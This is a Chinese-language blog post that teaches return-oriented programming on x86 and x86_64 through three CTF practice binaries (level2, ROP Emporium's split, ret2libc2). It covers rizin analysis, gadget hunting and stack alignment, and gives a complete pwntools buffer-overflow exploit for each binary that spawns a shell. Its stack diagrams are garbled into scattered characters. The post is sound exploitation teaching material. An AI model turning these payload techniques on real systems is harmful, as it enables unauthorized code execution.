Pwn ROP in x86

注意
本文最后更新于 2022-04-01,文中内容可能已过时。

通过学习 ret2text, 我们知道覆盖栈上的数据能够控制程序的走向. 找一些末尾含有 ret 的片段Gadget, 实现某些功能, 然后 ret, 通过构造好的栈上的数据控制程序走向. 由于所有函数末尾都有 ret, 所以完全可以伪造出一个函数调用栈, 然后执行函数. 这个攻击手段叫面向返回编程Return Oriented Programming.

x86_64 处理器多了 8 个通用寄存器, r8 - r15. 64 位在调用函数传递参数的时候, 会将前 6 个参数分别通过 rdi, rsi, rdx, rcx, r8, r9 传递. 这里的顺序一样是逆序 (即默认的 cdecl 惯例), 参数从右往左依次传入 rdi, rsi…

先纠正一个观念, 64 位机器一次存取操作并不只有 64 bit, 具体和啥有关没学到, 也看不懂, 再说吧.

Glibc 2.27 版本以上, system 要求栈地址对齐到 16 字节. 而寄存器的大小是 8 字节 (8 字节对齐), 有时候构造的 ROP链 可能 rsp 并没有对齐, 然后程序就崩溃了, 拿不到 shell.

这时候可以在整个 ROP 链最前, 找一个 ret 指令, 放到返回地址上, 多一次 rip 跳转, 也使得 system 调用时, 栈顶 rsp 对齐 16 字节. 具体看后面的例题.

纠正一下观念. 虽然库函数会进行动态链接和延迟绑定, 但是调用库函数, 并不是直接访问动态链接后的地址. got.plt 表中, 对应了所使用到的库函数的 “直接访问地址” (乱说的, 我也不知道叫什么), 然后在 got.plt 表内部, 会看这个函数有没有被填充实际地址, 如果没有, 则会找到实际地址然后填充并跳转. 如果有, 跳转到实际地址. 也就是说, got.plt 算是一层抽象, 在构造 ROP 的时候, 可以认为 got.plt 地址就是 程序所使用的库函数 的地址 (因为好像可以通过实际库函数地址去取得 .so 中存在但是该程序没有使用的库函数, 之后再学)

有空写一篇相关学习总结. (其实是因为当时看 «程序员的自我修养» 这一块的内容没看太明白, 只了解了个大概)

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055&page=1

rizin 打开, iI 查看信息, x86 架构 32 位 ELF 文件, 仅开启栈不可执行保护. aaa 分析后, afl 可以看到 vulnerable_function 函数. s sym.vulnerable_function; pdg 查看反编译代码:

1
2
3
4
5
6
7
void sym.vulnerable_function(void)
{
    void *buf;
    sym.imp.system("echo Input:");
    sym.imp.read(0, &buf, 0x100);
    return;
}

pdf 查看反汇编代码, 发现 buf 长度仅有 0x88, read 函数存在栈溢出.

s main; pdg, main 函数仅是调用了这个函数.

iz 查看字符串, 发现 .data 节 0x0804a024 处存在 /bin/sh.

system 函数和 /bin/sh 字符串, 我们完全可以伪造调用 system("/bin/sh") 的栈 — — 只需要 call system 时, 栈顶数据是 0x0804a024 即可. 覆盖 vulnerable_function 的返回地址为 0x0804849e (main 函数中指令 call system 的地址), 再向栈上多写入四个字节的 0x0804a024, 就可以了. 如下图所示:

r e t u o r l n d a e d b d p r e s s e e b s p p c " a / l b l ' ' ' i a a a n a a a / s a a a s y a a a h s ' ' ' " t e m e e b s p p

读入结束后, 程序运行到 leave, 然后 ret, 栈结构如下:

c " a / l b l ' ' ' l i a a a e n a a a a / s a a a v s y a a a e h s ' ' ' " t e m n e e s v p e r m i n d e b p c " a / l b l ' ' ' i a a a r n a a a e / s a a a t s y a a a h s ' ' ' " t e m e e s i p p = 0 x 0 8 0 4 8 4 9 e ( c a l l s y s t e m )

之后执行指令, 栈顶数据是 "/bin/sh", 根据 32 位函数调用栈, 这个数据就是 system 的参数. 这样就得到了 shell.

据此, 构造 payload = b'a' * (0x88 + 0x04) + p32(system) + p32(bin_sh). exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *

p = process('./level2')
# r = remote('111.200.241.244', 49748)

system = 0x0804849e
bin_sh = 0x0804a025

payload = b'a' * (0x88 + 0x04) + p32(system) + p32(bin_sh)

p.sendline(payload)
p.interactive()

https://ropemporium.com/challenge/split.html

rizin 打开, iI 查看信息, x86 架构 64 位 ELF. 没开 PIE 和 canary.

aaa;afl, 看到几个函数: pwnme, usefulFunction. 先看一下 usefulFunction, s sym.usefulFunction; pdg:

1
2
3
4
5
void sym.usefulFunction(void)
{
    sym.imp.system("/bin/ls");
    return;
}

给了我们 system 函数, 但是参数并不是 "/bin/sh" 或者是 "cat flag" 之类的. iz 查看字符串, 发现 .data 节中有 "/bin/cat flag.txt":

nth paddr      vaddr      len size section type  string                                      
---------------------------------------------------------------------------------------------
0   0x000007e8 0x004007e8 21  22   .rodata ascii split by ROP Emporium
1   0x000007fe 0x004007fe 7   8    .rodata ascii x86_64\n
2   0x00000806 0x00400806 8   9    .rodata ascii \nExiting
3   0x00000810 0x00400810 43  44   .rodata ascii Contriving a reason to ask user for data...
4   0x0000083f 0x0040083f 10  11   .rodata ascii Thank you!
5   0x0000084a 0x0040084a 7   8    .rodata ascii /bin/ls
0   0x00001060 0x00601060 17  18   .data   ascii /bin/cat flag.txt

查看 main, 发现调用 pwnme (略), 查看 pwnme, s sym.pwnme; pdg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void sym.pwnme(void)
{
    void *buf;
    
    sym.imp.memset(&buf, 0, 0x20);
    sym.imp.puts("Contriving a reason to ask user for data...");
    sym.imp.printf(0x40083c);
    sym.imp.read(0, &buf, 0x60);
    sym.imp.puts("Thank you!");
    return;
}

pdf 查看汇编, 检查 buf 到 rbp 距离:

1
│           ; var void *buf @ rbp-0x20

可以看到 buf 距离 rbp 仅有 0x20 字节, 而 read 读入了 0x60 字节, 存在栈溢出. 那么我们的方法就是构造 ROP 链, 伪造函数调用.

根据 64 位传参规则, 需要把 "/bin/cat flag.txt" 的地址 0x00601060 放入 rdi, 然后再调用 system. 这就需要寻找程序中相应的代码片段Gadget了. "/R/ pop rdi;ret" 来寻找是否有 pop rdi 然后 ret 的指令:

1
2
  0x004007c3                 5f  pop rdi
  0x004007c4                 c3  ret
技巧

/R/ 找到的 gadgets 是 rizin 认为的 gadgets, 并不是全文暴力搜索出来的. 有时候会找不到想要的 gadgets, 比如 64 位下对 r8 - r15 寄存器的操作就不被它认为是 gadgets. 要想找这些 gadgets, 可以用搜索汇编的指令 /ad/, 比如 "/ad/ pop r15;ret".

不过 "/ad/ pop;ret" 也搜不到对 r8 - r15 的操作. 所以得把寄存器写出来. 即使 pop r15;ret 的后半段可以看作 pop rdi;ret (其他寄存器也如此), 但是 rizin 也搜不到. 要注意如果想利用类似 pop r15;ret 操作 pop rdi;ret, 还是得写成 "/ad/ pop r15;ret" 才能搜到. (暂时没去翻 rizin 或者 r2 的 issue, 但是简单搜索了一下没查到什么有用的信息.)

命令需要加引号, 因为分号操作在某个版本后变成了分割命令的标志. 引号用来把它们当作一个整体.

为什么需要带一个 ret 呢? 因为我们希望把数据存入 rdi 后还能控制程序的流程, 这里让他执行 ret 指令, 那么会把栈顶的数据弹到 rip 上. 栈数据可以通过溢出写入构造, 于是就达到了控制的效果.

需要注意的一点是, 程序在 usefulFunction 中调用了 system, 但是我们不应该让程序跑到 call system 这条指令上, 因为 call 会把下一条指令地址压到栈上, 从而破坏了我们构造好的栈(可以看下面的栈示意图, 然后回来想想). 所以这里直接跑到 system 函数里面第一条指令, 即跳到 plt.system 的地址就行. afl 查看到该地址为 0x00400560. 栈结构的精妙之处就在于函数跑完以后就完全恢复了, 所以我们并不用管 system 内部, rsp 和 rbp 会怎么变化.

于是, 我们要构造的栈看起来如下:

0 0 0 x x x o 0 0 0 l 0 0 0 d 4 6 4 0 0 0 r 0 1 0 b 5 0 7 p 6 6 c 0 0 3 ( ( ( p " p l / o t b p r r . i b s s n r p p y / d s c i t a ; e t m r ) f e l t a ) g . t x t " )

当执行到 pwnme 的 ret 指令前, 栈顶的数据是 pop rdi; ret 指令的地址, ret 执行后, rip 指向 pop rdi; ret. 栈顶数据为字符串 "/bin/cat flag.txt" 的地址, 接下来执行 pop rdi, rdi 的内容为 0x00601060, 栈顶元素为 plt.system 的地址. 之后 ret, rip 指向 plt.system 的地址, 执行 system.

( 1 ) ( b 3 0 0 0 ' ' e 0 0 0 ' ' ) x x x a a f x x x a a 0 0 0 a a o 0 0 0 a a p 0 0 0 a a r 0 0 0 a a o 4 6 4 a a e 4 6 4 a a p 0 0 0 a a 0 0 0 a a 0 1 0 a a p 0 1 0 a a r 5 0 7 a a w 5 0 7 a a d 6 6 c a a n 6 6 c a a i 0 0 3 ' ' m 0 0 3 ' ' e r e t ( ( ( ( ( ( p " p p " p l / o l / o t b p t b p r r . i r . r i d i s n r s s s n r i p y / d p y p / d s c i s c i = = t a ; t a ; e t e t 0 0 m r m r x x ) f e ) f e 0 0 l t l t 0 0 a ) a ) 6 4 g g 0 0 . . 1 0 t t 0 7 x x 6 c t t 0 4 " " ) ) ( 2 ) 0 0 0 ' ' a 0 0 0 ' ' ( x x x a a f x x x a a 4 0 0 0 a a t 0 0 0 a a ) 0 0 0 a a e 0 0 0 a a 4 6 4 a a r 4 6 4 a a 0 0 0 a a 0 0 0 a a r 0 1 0 a a p 0 1 0 a a e 5 0 7 a a w 5 0 7 a a t 6 6 c a a n 6 6 c a a 0 0 3 ' ' m 0 0 3 ' ' e r e t ( ( ( ( ( ( p " p p " p l / o l / o t b p r t b p r r . i r i r . i d i s n s r p s s n r i p y / p d p y / d s c i = s c i = = t a ; t a ; e t 0 e t 0 0 m r x m r x x ) f e 0 ) f e 0 0 l t 0 l t 0 0 a ) 4 a ) 6 4 g 0 g 0 0 . 0 . 1 0 t 7 t 0 5 x c x 6 6 t 3 t 0 0 " " ) )

然后就可以兴致勃勃地写 exp 了. 写完发现, 失败了. 把 system 改成 puts 构造, 可以打印出 “/bin/cat flag “. 这是因为栈地址没对齐. 需要构造这样的栈, 来强行使栈对齐:

0 0 0 0 x x x x o 0 0 0 0 l 0 0 0 0 d 4 6 4 4 0 0 0 0 r 0 1 0 0 b 5 0 7 7 p 6 6 c c 0 0 3 4 ( ( ( ( p " p r l / o e t b p t r r . i ) b s s n r p p y / d s c i t a ; e t m r ) f e l t a ) g . t x t " )

对比前面, 这里多加了一个 ret 指令. 因为 64 位栈一定是 8 字节对齐的, 栈的宽度也是 8 字节, 所以再向栈中压入一条 8 字节的数据, 就可以使本来没有对齐的 (执行 pop rid 时的) 栈顶 16 字节对齐了. 这里压入 ret 指令, 不会破坏构造好的程序流. 可以分析一下, 当 pwnme 的 ret 执行后, 下一条指令依旧是 ret, 执行完后 rip 和之前的一样, 指向我们写入的 pop rdi; ret.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *

p = process('./split')

system = 0x00400560
cat_flag = 0x00601060
pop_rdi_ret = 0x004007c3
ret = 0x004007c4
payload = b'a' * (0x20 + 0x08) + p64(ret) + p64(pop_rdi_ret) + p64(cat_flag) + p64(system)

p.sendline(payload)
p.interactive()

rizin 打开后 iI 查看信息, x86 架构 32 位 ELF. 没开 PIE 和 canary. aaaafl, 发现函数 secure, s dbg.secure;pdg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
void dbg.secure(void)
{
    undefined4 uVar1;
    int32_t var_10h;
    uintptr_t var_ch;
    int input;
    int secretcode;
    
    // void secure();
    uVar1 = sym.imp.time(0);
    sym.imp.srand(uVar1);
    var_ch = sym.imp.rand();
    sym.imp.__isoc99_scanf(0x8048760, &var_10h);
    if (var_10h == var_ch) {
        sym.imp.system("no_shell_QQ");
    }
    return;
}

不是后门函数. 但是给了我们 system. 尝试寻找 “/bin/sh” 字符串, 查看字符串表 iz, 并没有.

s main;pdg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
undefined4 dbg.main(void)
{
    undefined auStack116 [112];
    
    // int main();
    sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
    sym.imp.setvbuf(_reloc.stdin, 0, 1, 0);
    sym.imp.puts("Something surprise here, but I don\'t think it will work.");
    sym.imp.printf("What do you think ?");
    sym.imp.gets(auStack116);
    return 0;
}

发现 gets 函数, 存在栈溢出.

没有 “/bin/sh”, 那只好自己构造咯. 一个思路是调用 gets, 读入 “/bin/sh” 到内存某个地方. 首先来查看一下哪里可以存数据. is | gerp OBJ 来查看变量符号:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
nth paddr      vaddr      bind   type   size lib name                                   
----------------------------------------------------------------------------------------
12  ---------- 0x0804a060 GLOBAL OBJ    4        stdout
13  0x0000075c 0x0804875c GLOBAL OBJ    4        _IO_stdin_used
14  ---------- 0x0804a040 GLOBAL OBJ    4        stdin
33  0x00000f10 0x08049f10 LOCAL  OBJ    0        __JCR_LIST__
37  ---------- 0x0804a064 LOCAL  OBJ    1        completed.6591
38  0x00000f0c 0x08049f0c LOCAL  OBJ    0        __do_global_dtors_aux_fini_array_entry
40  0x00000f08 0x08049f08 LOCAL  OBJ    0        __frame_dummy_init_array_entry
43  0x000008c0 0x080488c0 LOCAL  OBJ    0        __FRAME_END__
44  0x00000f10 0x08049f10 LOCAL  OBJ    0        __JCR_END__
47  0x00000f14 0x08049f14 LOCAL  OBJ    0        _DYNAMIC
49  0x00001000 0x0804a000 LOCAL  OBJ    0        _GLOBAL_OFFSET_TABLE_
59  ---------- 0x0804a080 GLOBAL OBJ    100      buf2
65  0x0000103c 0x0804a03c GLOBAL OBJ    0        __dso_handle
66  0x0000075c 0x0804875c GLOBAL OBJ    4        _IO_stdin_used
70  ---------- 0x0804a040 GLOBAL OBJ    4        stdin@@GLIBC_2.0
74  0x00000758 0x08048758 GLOBAL OBJ    4        _fp_hw
76  ---------- 0x0804a060 GLOBAL OBJ    4        stdout@@GLIBC_2.0
81  ---------- 0x0804a040 GLOBAL OBJ    0        __TMC_END__

有一个非常显眼的大小为 100 的符号 buf2. 查看其地址, 发现它在 .bss 中. iS | grep .bss, 可以看到 .bss 具有可写权限 (啊虽然不看也知道, 但还是巩固一下).

1
2
3
paddr      size  vaddr      vsize align perm name               type       flags         
-----------------------------------------------------------------------------------------
0x00001040 0x0   0x0804a040 0xa4  0x0   -rw- .bss               NOBITS     write,alloc

这下万事俱备, 只欠 ROP 了.

由于需要控制返回地址, 所以不能像第一个例题一样, 从 call system 这个地方调 system (gets 同理), 而是要像第二题一样, 直接跳到函数第一行开始执行的地方. 那么这样就会有一个问题, 就是栈上需要构造返回地址(因为函数结束后会执行 ret, 从栈上获取数据). 第二题在调用函数完之后没有写返回地址, 因为只有一个函数 system, 执行了就达到了想要的效果, 所以就无所谓了. 而这一题需要先调用 gets, 所以要在栈上构造 gets 的返回地址.

先想一下栈的结构和指令流:

  1. 覆盖 main 的返回地址为 gets.
  2. 如果是正常 call, 那么现在栈顶应该是一个返回地址, 再往上才是参数.
  3. 如果函数结束, 那么栈顶依然是参数, 这可能对之后调用其他函数不利, 因为可能要传其他参数. 所以应该有一个 pop 指令, 弹出这个参数. 那么之前那个返回地址可以找一个 pop;ret 指令, 达到效果.
  4. ret 会弹栈顶地址到 eip, 也就是说, 接下来应该填下一个要调用的函数/指令地址, 在这里, 也就是 system 的地址.
  5. 同理, 如果正常 call system, 栈上有一个返回地址, 由于我们不必要再指定指令流, 所以这个地方可以乱填.
  6. 最后再是传入 system 的参数.
技巧
这里的思考是 逆向 的, 如果不是很清楚, 可以把结合正向的调用函数时的栈的变化来思考.

那么现在我们还差一个 pop;ret, 用 "/ad/ pop;ret" 或者 "/R/ pop;ret" 搜一下, 得到 0x08048756 或 0x0804843d.

警告
"/ad" 找到的是 ret 的地址, 不是 pop 的… 离谱…

所以, 我们构造这样的栈:

p s o b s y b p g u t s u ; e f h t f t 2 e 2 r s m e t e e b s p p

不一步步演示了, 累了写不动了.

技巧
在覆盖返回地址为函数(或 plt)起始地址后, 马上向栈上写入 参数个数 个 pop;ret 会是一个好的习惯. 这个在某些参考资料和博客中被称为 保持堆栈平衡.

或者, 我们可以换一种写法. 由于这里只需要调用两个函数, 并且参数都是一个, 那么构造这样的栈也能达到效果:

s b b y g u u s e f f t t 2 2 e s m e e b s p p

这样 gets 的返回地址是 system, 参数是 buf2(第二个), 然后执行 system, 返回地址是 buf2(第二个) 的地址, 参数是 buf2 (第一个). 这种写法不像上面那种具有普适性, 但可以有效减少输入的长度, 如果对写入的大小有限制的话, 可能只能使用这种构造方法.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *

bss_buf2 = 0x0804a080
gets = 0x08048460
system = 0x08048490
pop_ret = 0x08048756

payload = b'a' * (0x6c + 0x04) + p32(gets) + p32(pop_ret) + p32(bss_buf2) + p32(system) + p32(pop_ret) + p32(bss_buf2)
# payload = b'a' * (0x6c + 0x04) + p32(gets) + p32(system) + p32(bss_buf2) + p32(bss_buf2)

p = process('./ret2libc2')
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()